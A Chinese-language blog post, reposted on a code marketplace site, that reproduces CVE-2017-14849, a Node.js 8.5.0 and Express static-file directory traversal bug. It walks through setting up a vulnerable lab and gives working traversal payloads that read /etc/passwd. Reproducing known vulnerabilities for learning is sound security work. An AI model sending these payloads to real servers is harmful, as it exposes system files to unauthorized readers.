源码网商城,靠谱的源码在线交易网站 我的订单 购物车 帮助

源码网商城

浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤)

  • 时间:2020-03-16 12:52 编辑: 来源: 阅读:
  • 扫一扫,手机访问
摘要:浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤)
[b]0x00 前言[/b] 早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析([url=https://security.tencent.com/index.php/blog/msg/121]https://security.tencent.com/index.php/blog/msg/121[/url]),然后想着复现,学习学习,就有了这篇文章。 [b]0x01 漏洞简介[/b] CVE([url=http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14849]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14849[/url])上面的描述是这样的: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules. 换成我们看的懂的意思就是node.js 8.5.0 到8.6.0 之间的版本会造成目录穿越漏洞,读取任意文件,而漏洞的原因是因为对”..”的处理和另外的模块不兼容。 打个比喻就是有一个人开发这个模块,另外的一个人开发另外个模块,大家对于这个东西的处理不一样,从而导致出现了漏洞。而这里的模块就是node.js 和 express。 [b]影响版本:[/b] Node.js 8.5.0 + Express 3.19.0-3.21.2 Node.js 8.5.0 + Express 4.11.0-4.15.5 [b]0x02 node.js是什么[/b] Node.js® 是一个基于 Chrome V8 引擎的 JavaScript 运行时。 Node.js 使用高效、轻量级的事件驱动、非阻塞 I/O 模型。它的包生态系统,npm,是目前世界上最大的开源库生态系统。(抄从官网) [b]0x03 express是什么[/b] Express是基于 Node.js 平台,快速、开放、极简的 web 开发框架。(同样抄从官网) [b]0x04 如何复现[/b] 下面采用腾讯云开发者实验室搭建环境进行快速复现。 复现准备: 0. 腾讯云开发者实验室的云主机一台 (我这里用的是《基于 Ubuntu 搭建微信小程序服务》的实验主机 ubuntu 16.04 64位) 1. node.js 8.5.0 ([url=https://nodejs.org/download/release/v8.5.0/]https://nodejs.org/download/release/v8.5.0/[/url]) 2. express-4.15.5 ([url=https://github.com/expressjs/express/releases]https://github.com/expressjs/express/releases[/url]) 3. burpsuite [b]Step 1安装node.js 8.5.0[/b] 下载node.js 8.5.0安装包
wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz
解压安装包
tar -zxvf node-v8.5.0-linux-x64.tar.gz
移到通用软件安装目录/opt
mv node-v8.5.0-linux-x64 /opt/
安装 npm 和 node 命令到系统命令
sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/node /usr/local/bin/node 
sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/npm /usr/local/bin/npm
验证一下:
node -v
输出版本号则表示配置成功 [b]Step2 安装express-4.15.5[/b] 下载express-4.15.5
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz
解压压缩包
tar -zxvf 4.15.5.tar.gz
进入express目录下,安装express
cd express-4.15.5 && npm install
进入到expresss-4.15.5/examples/static-files目录里
node index.js
[b]Step 3 发送payload验证[/b] Payload: /../../../a/../../../../etc/passwd [img]http://files.jb51.net/file_images/article/201711/2017111083154923.png?201710108329[/img] [b]0x05 漏洞原理分析[/b] 为什么payload会是这样的呢?请参考腾讯应急响应中心的那篇文章([url=https://security.tencent.com/index.php/blog/msg/121]https://security.tencent.com/index.php/blog/msg/121[/url]),写的很言简意赅。 (还不是因为自己菜,分析不出。。。。) 注意:该漏洞是建立在文件夹通过express.static 来托管的情况下,因为在这种情况下才会使用normalize函数进行path标准化。(发现来源于p神的分析) 比如代码这样写:
app.use(express.static(path.join(__dirname, 'static')));
那么payload应该是
/../../../a/../../../../etc/passwd
但代码如果是这样写的话:
app.use('/static',express.static(path.join(__dirname, 'static')));
那么payload应该为:
/static/../../../a/../../../../etc/passwd
[b]0x06 后记[/b] 复现很简单,但分析原理很难。至少我现在还没弄明白。等我弄明白了,再写写怎么分析与跟踪吧。 其实这里有一个挺有意思的点,那就是一些重大漏洞的追踪问题,关于这个漏洞官方早在九月份就已经发布了说明,而这个问题是在最近才得到重视,很明显就算是腾讯也没有第一时间去跟踪CVE的更新列表。 而在腾讯发了这篇文章之后,P神把复现环境给弄到了vulhub([url=https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849]https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849[/url]),速度之快令人惊奇。然后再代码审计里面发了,在微博里面发了。再接着整个安全圈其实都知道了。 然后这里我们得出了一个结论,如果想要得到第一手漏洞预警与学习,应该时刻关注着CVE列表,努力做第一个吃螃蟹的人。 以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持编程素材网。
  • 全部评论(0)
联系客服
客服电话:
400-000-3129
微信版

扫一扫进微信版
返回顶部